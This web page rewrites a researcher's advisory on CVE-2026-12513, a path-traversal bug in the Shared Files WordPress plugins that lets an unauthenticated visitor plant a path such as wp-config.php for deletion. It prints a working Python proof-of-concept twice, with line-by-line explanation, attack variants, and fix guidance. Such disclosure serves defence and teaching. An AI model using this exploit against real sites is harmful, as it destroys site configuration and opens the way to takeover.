Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026–12513 — Shared Files Unauthenticated…
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
CVE-2026-12513 is an unauthenticated arbitrary file deletion vulnerability via path traversal in the Shared Files and Shared Files Pro WordPress plugins before version 1.7.68. The affected feature is the plugin's frontend file submission handling: the plugin accepts file submissions from the frontend and stores the supplied file path, which an administrator later reviews and deletes from the WordPress admin dashboard.
The flaw sits in the frontend file submission processing routines. User-supplied file paths are filtered with a single-pass traversal pattern replacement that can be bypassed with nested sequences such as ….//. An unauthenticated remote attacker can therefore submit a manipulated path pointing outside the intended uploads directory, targeting critical server assets including wp-config.php. When an administrator subsequently purges or permanently deletes the uploaded entry, the application invokes unlink() against the stored arbitrary path, destroying core WordPress configuration files. The researcher rates this as CVSS 3.1 score 6.8 Medium (CWE-73 / CWE-22).
Technical metadata from the advisory:
| Field | Value |
|---|---|
| Vulnerability identifier | CVE-2026-12513 |
| Target software | Shared Files / Shared Files Pro (WordPress plugins) |
| Plugin slugs | shared-files, shared-files-pro |
| Vulnerable versions | < 1.7.68 |
| Patched version | >= 1.7.68 |
| Vulnerability class | External Control of File Name or Path / Path Traversal (CWE-73 / CWE-22) |
| CVSS v3.1 | 6.8 (Medium), CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Lead researcher | Huynh Kien Minh (MinhHK) |
| Verification authority | WPScan / MITRE Corporation |
| WPScan advisory | https://wpscan.com/vulnerability/25c9fa21-c48b-4333-8abc-87230dc4c869/ |
| Researcher portfolio | https://minhhk.web.app/ |
Setup
The write-up does not describe a lab build, accounts or tool versions. The proof-of-concept script targets a WordPress installation at http://[redacted] and posts to the standard admin-ajax.php endpoint. The precondition for the destructive step is an administrator who reviews frontend submissions and deletes the affected record through the WordPress admin dashboard; the CVSS vector reflects this with UI:R (user interaction required) and AC:H (high attack complexity).
Finding it
The vulnerability is rooted in an inadequate path sanitisation mechanism in the frontend file submission handlers of Shared Files (< 1.7.68). When accepting frontend file submissions, the plugin attempted to strip directory traversal sequences (../) using a single-pass string replacement:
str_replace( ‘../’, ‘’, $_POST[‘file_path’] )
Because str_replace() executes only once from left to right, nested sequences like ….//….//….//wp-config.php collapse back into ../../../../wp-config.php after one replacement pass. The submitted path is stored, and when an administrator deletes the record, unlink() is invoked on that stored path.
Exploitation
Step 1: Submit a nested traversal path through the frontend upload action
The PoC posts to admin-ajax.php with the plugin's frontend upload action, a benign-looking file name, and a file_path built from nested traversal sequences:
"""CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoCAuthor: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/"""
import requestsimport sysTARGET_URL = "http://[redacted]"UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"): print(f"[*] Auditing Target: {target_url}") nested_traversal = "....//....//....//....//" + target_file.lstrip("/") payload = { "action": "shared_files_frontend_upload", "file_name": "innocent_document.pdf", "file_path": nested_traversal } headers = { "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)" } try: response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10) print(f"[*] Submission Response Status: {response.status_code}") if response.status_code == 200: print("[+] Traversal path successfully injected into database storage.") print("[!] When the entry is deleted by admin, the target file will be unlinked.") return True except requests.RequestException as e: print(f"[-] Connection failed: {e}") return Falseif __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL trigger_traversal_payload(url)
The important parts:
UPLOAD_ENDPOINTis{TARGET_URL}/wp-admin/admin-ajax.php, the standard WordPress AJAX handler.- The
actionparameter isshared_files_frontend_upload, the plugin's frontend submission handler. file_nameis set toinnocent_document.pdf, a benign-looking name.file_pathisnested_traversal, built as"....//....//....//....//"concatenated withtarget_file.lstrip("/"), wheretarget_filedefaults to../../../../wp-config.php. After the plugin's single-passstr_replace(‘../’, ‘’, ...)runs, the nested sequences collapse back into../../../../wp-config.php.- The request is sent with a
User-Agentidentifying the audit and a 10 second timeout.
On a 200 response the script reports that the traversal path was successfully injected into database storage, and notes that when the entry is deleted by an admin, the target file will be unlinked. A requests.RequestException is reported as a connection failure.
Step 2: Administrator deletes the submission
When an administrator reviews submissions and deletes the record via the WordPress admin dashboard, unlink() is invoked directly on the attacker-controlled path outside the uploads folder. This leads to the deletion of vital server configuration files such as wp-config.php.
Root cause
The plugin relied on str_replace(‘../’, ‘’, $_POST[‘file_path’]) to remove traversal sequences. str_replace() performs a single left-to-right pass, so a nested sequence such as ….// loses its inner ../ and leaves ../ behind. Repeating the pattern reconstructs a working traversal path after sanitisation. The stored path is later used as the argument to unlink(), so the deletion can reach outside the uploads directory. The single-pass string replacement did not account for nested patterns.
Impact
An unauthenticated remote attacker can cause the deletion of critical server assets, including wp-config.php, once an administrator deletes the submitted entry. The advisory describes the result as severe denial of service and site takeover via the unconfigured installation setup. The CVSS vector records no confidentiality impact (C:N), high integrity impact (I:H) and high availability impact (A:H), with network access, high attack complexity, no privileges required and user interaction required.
Fix
Update Shared Files to version 1.7.68 or higher. The advisory also recommends ensuring canonical path resolution with realpath() and wp_normalize_path().
Variants to test
- Other nested traversal encodings in
file_path, for example repeated....//or mixed patterns, checking whether the stored value still resolves outside the uploads directory after sanitisation. - Other frontend submission actions in the same plugin family (
shared-filesandshared-files-pro) that accept a path or file name, checking whether the stored value reaches a filesystem call such asunlink(). - Deletion of files other than
wp-config.php, such as other configuration or plugin files, to confirm the primitive is arbitrary rather than limited to one path. - Submissions through the frontend handler without authentication, to confirm the action is reachable by an unauthenticated user on the target installation.
What happened, in plain words
A security researcher named Huynh Kien Minh (also known as MinhHK) found a serious bug in two WordPress plugins called Shared Files and Shared Files Pro. A plugin is a small add-on program that you install into a WordPress website to give it extra features, a bit like adding an app to a phone. Shared Files lets a website's visitors send files to the site owner, and lets the owner look at those files and delete them from the WordPress control panel (the admin dashboard).
The bug means that a stranger, with no account and no password, can send in a file entry whose stored location points at a sensitive file on the web server, such as wp-config.php, the file that holds a WordPress site's core settings. Nothing bad happens straight away. The damage happens later, when the site's administrator deletes that entry in the dashboard: the plugin then deletes the file at the stored location, which is the sensitive file rather than an ordinary upload. The researcher rates the problem 6.8 Medium on the CVSS scale, a standard way of scoring how serious a security flaw is, and files it under two weakness categories, CWE-73 (outside control of a file name or path) and CWE-22 (path traversal).
The bug is tracked as CVE-2026-12513. A CVE is a public catalogue number given to a known security flaw so that everyone can refer to the same issue. The fix is to update the plugin to version 1.7.68 or later.
The details at a glance
The advisory lists these facts about the issue:
| Field | Value |
|---|---|
| Vulnerability identifier | CVE-2026-12513 |
| Target software | Shared Files / Shared Files Pro (WordPress plugins) |
| Plugin slugs | shared-files, shared-files-pro |
| Vulnerable versions | < 1.7.68 |
| Patched version | >= 1.7.68 |
| Vulnerability class | External Control of File Name or Path / Path Traversal (CWE-73 / CWE-22) |
| CVSS v3.1 | 6.8 (Medium), CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Lead researcher | Huynh Kien Minh (MinhHK) |
| Verification authority | WPScan / MITRE Corporation |
| WPScan advisory | https://wpscan.com/vulnerability/25c9fa21-c48b-4333-8abc-87230dc4c869/ |
| Researcher portfolio | https://minhhk.web.app/ |
A few of those need unpacking. A slug is the short internal name a plugin is known by in the WordPress ecosystem. WPScan is a service that keeps a database of known WordPress security issues, and MITRE is the organisation that runs the CVE catalogue, and the advisory lists them as the verification authority for the flaw.. The CVSS string is a compact code for the score: it says the attack can come over the network (AV:N), is hard to carry out (AC:H), needs no login (PR:N), needs the administrator to do something (UI:R), and that the impact is no loss of secrecy (C:N), a high loss of integrity (I:H) and a high loss of availability (A:H). In everyday terms: the attacker cannot read anything, but can break things badly.
Setting up
The write-up does not describe a lab build, any accounts or any tool versions. The proof-of-concept script simply targets a WordPress installation at http://[redacted] and sends its request to the standard admin-ajax.php endpoint. An endpoint is a specific web address on a site that accepts a particular kind of request, like a service counter in a shop: you go to the right counter to get the service you want. admin-ajax.php is WordPress's general-purpose counter for background requests made by plugins and themes.
The one condition for the destructive part is that an administrator has to review the submitted entries and delete the affected one through the dashboard. That is why the score includes UI:R, user interaction required, and AC:H, high attack complexity: the attacker cannot finish the job alone.
Finding it
The researcher found that the plugin's handling of frontend file submissions cleaned up file paths badly. When a visitor submits a file, the plugin tried to remove directory traversal sequences, meaning the ../ pieces explained below, using a single-pass string replacement:
str_replace( ‘../’, ‘’, $_POST[‘file_path’] )
Line by line: str_replace is a PHP function, PHP being the programming language WordPress is written in, that searches a piece of text for one string and swaps it for another. Here it searches for ../ and replaces it with nothing, which deletes it. $_POST[‘file_path’] is the value the visitor sent in a form field called file_path; $_POST is PHP's way of holding data submitted with a form. So the line means: take whatever path the visitor supplied and strip out every ../.
That sounds sensible, but str_replace() only makes one pass from left to right. A nested sequence like ….//….//….//wp-config.php loses its inner ../ on that single pass and leaves ../ behind, so the result is ../../../../wp-config.php. The submitted path is stored, and when an administrator deletes the entry, the stored value is handed to unlink().
To understand why ../ matters: a file path on a server is like a street address, and ../ means "go up one folder". A normal upload is meant to stay inside the plugin's own uploads folder, but a path full of ../ climbs out of it and can point anywhere on the server. That is what path traversal means: making a path travel out of the area it was supposed to stay in.
Exploitation
Step 1: Submit a nested traversal path through the frontend upload action
The proof-of-concept script sends a request to admin-ajax.php using the plugin's frontend upload action, a harmless-looking file name, and a file_path built from nested traversal sequences:
"""CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoCAuthor: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/"""
This first block is just a description string at the top of the script, naming the issue, the affected versions, the author and his website. It does nothing when the script runs; it is there so anyone reading the file knows what it is.
import requestsimport sysTARGET_URL = "http://[redacted]"UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"): print(f"[*] Auditing Target: {target_url}") nested_traversal = "....//....//....//....//" + target_file.lstrip("/") payload = { "action": "shared_files_frontend_upload", "file_name": "innocent_document.pdf", "file_path": nested_traversal } headers = { "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)" } try: response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10) print(f"[*] Submission Response Status: {response.status_code}") if response.status_code == 200: print("[+] Traversal path successfully injected into database storage.") print("[!] When the entry is deleted by admin, the target file will be unlinked.") return True except requests.RequestException as e: print(f"[-] Connection failed: {e}") return Falseif __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL trigger_traversal_payload(url)
Line by line, in plain words:
import requestsloads a Python library calledrequests, which lets a script make web requests the same way a browser does.import sysloads Python's built-in module for reading things from the command line.TARGET_URL = "http://[redacted]"stores the address of the test WordPress site in a named variable, so it can be reused.UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"builds the full address of the endpoint by gluing the site address to the standard WordPress request handler. Thefbefore the quotes means Python will substitute the variable inside the curly braces.def trigger_traversal_payload(...)defines a reusable block of code, a function, that does the work. Its second input,target_file, defaults to../../../../wp-config.php, the file the researcher wants to reach.print(f"[*] Auditing Target: {target_url}")prints a progress line so the person running the script can see which site is being checked.nested_traversal = "....//....//....//....//" + target_file.lstrip("/")builds the tricky path. The four dots followed by two slashes, repeated four times, is the nested pattern that survives the plugin's single cleanup pass and turns back into../sequences.lstrip("/")removes any leading slash from the target file so the pieces join cleanly.payload = {...}creates the form data to send.actiontells WordPress which plugin function to run, hereshared_files_frontend_upload, the plugin's frontend submission handler.file_nameis set toinnocent_document.pdf, a harmless-looking name so the entry does not look suspicious to an administrator.file_pathis the nested traversal path from the previous line.headers = {...}sets extra information sent with the request.User-Agentis normally how a browser identifies itself; here it identifies the request as a security audit for this CVE by the researcher, so the traffic is clearly labelled.try:starts a block where errors are caught rather than crashing the script.response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)sends the form data to the endpoint and waits for the reply.timeout=10means give up after ten seconds rather than hanging forever.print(f"[*] Submission Response Status: {response.status_code}")prints the reply's status code, the three-digit number a web server sends to say how the request went; 200 means it was accepted.if response.status_code == 200:checks for that success code. If it is there, the script prints that the traversal path was successfully injected into database storage, and warns that when an administrator deletes the entry, the target file will be unlinked. Unlinked is the technical word for deleted: on a Unix-style server,unlink()is the system call that removes a file.except requests.RequestException as e:catches connection problems, such as the site being unreachable, and prints a failure message instead of crashing.- The final lines let the script be run from the command line with an optional site address; if none is given, it falls back to
TARGET_URL, then calls the function.
Why this step matters: the script is not breaking in. It is using the plugin's own public submission feature, exactly as an ordinary visitor would, and only the contents of the file_path field are manipulated. The plugin's cleanup runs, the nested pattern collapses back into a working traversal path, and the submission is accepted. The script itself only confirms the submission was accepted; the harmful part comes next.
Step 2: Administrator deletes the submission
When an administrator reviews submissions and deletes the record through the WordPress admin dashboard, unlink() is called directly on the attacker-controlled path outside the uploads folder. That deletes vital server configuration files such as wp-config.php.
Why this step matters: the plugin trusts the stored path when it deletes the entry. It does not check that the path really sits inside the uploads folder, so the delete operation follows the path wherever it leads. The administrator is doing a completely normal, everyday task, and that ordinary action is what triggers the damage.
Root cause
The plugin relied on str_replace(‘../’, ‘’, $_POST[‘file_path’]) to remove traversal sequences. str_replace() makes a single left-to-right pass, so a nested sequence such as ….// loses its inner ../ and leaves ../ behind. Repeating the pattern rebuilds a working traversal path after the cleanup has run. The stored value is later used as the argument to unlink(), so the delete operation reaches outside the uploads directory. So the delete operation reaches outside the uploads directory. The single-pass string replacement did not account for nested patterns.
A blacklist here means a list of bad things to remove. Blacklists are fragile because the attacker only has to find one bad thing that is not on the list, or, as here, one way of writing it that slips past the filter. A safer approach is to allow only what is expected and to check the final resolved path.
Impact
An unauthenticated remote attacker, meaning someone with no account attacking over the internet, can cause the deletion of critical server assets, including wp-config.php, once an administrator deletes the submitted entry. The advisory describes the result as severe denial of service and site takeover via the unconfigured installation setup. Denial of service means the site stops working for its normal users. Site takeover means an attacker gains control of the site; here the route is site takeover via the unconfigured installation setup.. The CVSS vector records no confidentiality impact (C:N), high integrity impact (I:H) and high availability impact (A:H), with network access, high attack complexity, no privileges required and user interaction required.
Fix
Update Shared Files to version 1.7.68 or higher. The advisory also recommends ensuring canonical path resolution with realpath() and wp_normalize_path(). In plain words: before deleting anything, the plugin should turn the stored path into its one true, final form and confirm it really is inside the uploads folder. realpath() is a PHP function that resolves a path to its real location on disk, and wp_normalize_path() is a WordPress helper that tidies up slashes so paths can be compared reliably.
Variants to test
- Other nested traversal encodings in
file_path, for example repeated....//or mixed patterns, checking whether the stored value still resolves outside the uploads directory after cleanup. - Other frontend submission actions in the same plugin family (
shared-filesandshared-files-pro) that accept a path or file name, checking whether the stored value reaches a filesystem call such asunlink(). - Deletion of files other than
wp-config.php, such as other configuration or plugin files, to confirm the delete operation is arbitrary rather than limited to one path. - Submissions through the frontend handler without authentication, to confirm the action is reachable by an unauthenticated user on the target installation.
Glossary
- Plugin: an add-on program installed into a WordPress site to add features, like an app on a phone.
- WordPress: a widely used system for building and running websites.
- Admin dashboard: the password-protected control panel where a site's administrator manages content, users and settings.
- CVE: a public catalogue number given to a known security flaw so everyone can refer to the same issue.
- CVSS: a standard scoring system for how serious a security flaw is, from 0 to 10, with a code describing the conditions.
- CWE: a catalogue of weakness types, used to label what kind of mistake caused a flaw.
- Path traversal: making a file path climb out of the folder it was meant to stay in, using
../to mean "go up one folder". - Arbitrary file deletion: deleting any file the attacker chooses, rather than only files they should be able to touch.
- Unauthenticated: done without logging in, with no account or password.
- Endpoint: a specific web address that accepts a particular kind of request, like a service counter.
admin-ajax.php: WordPress's general-purpose handler for background requests made by plugins and themes.- Action: a parameter that tells WordPress which plugin function should handle a request.
- Parameter: a named value sent with a request, such as
file_pathorfile_name. - Payload: the data an attacker sends in a request to try to trigger a flaw.
- Header: extra information sent alongside a web request, such as the
User-Agent. - User-Agent: the header in which a browser, or a script, says what it is.
- Status code: the three-digit number a web server returns to say how a request went; 200 means accepted.
str_replace(): a PHP function that swaps one piece of text for another in a string.- Single-pass replacement: a search-and-replace that runs through the text only once, so nested patterns can survive.
- Blacklist: a list of bad things to block or remove, which is fragile because anything not on the list gets through.
unlink(): the system call that deletes a file on a Unix-style server.- Canonical path resolution: working out the one true, final location of a path before deciding whether to act on it.
realpath(): a PHP function that resolves a path to its real location on disk.wp_normalize_path(): a WordPress helper that tidies slashes in a path so paths can be compared reliably.wp-config.php: the file holding a WordPress site's core configuration, including database connection details.- Database: the organised store of data a WordPress site keeps, such as posts, settings and submitted entries.
- Denial of service: making a site or service stop working for its normal users.
- Site takeover: an attacker gaining control of a website.
- Proof of concept (PoC): a small script or set of steps that demonstrates a flaw really works.
- Slug: the short internal name a plugin is known by in the WordPress ecosystem.
- WPScan: a service that maintains a database of known WordPress security issues.
- MITRE: the organisation that runs the CVE catalogue.
- PHP: the programming language WordPress and its plugins are written in.
- Python: a programming language often used to write security testing scripts.
requests: a Python library for making web requests from a script.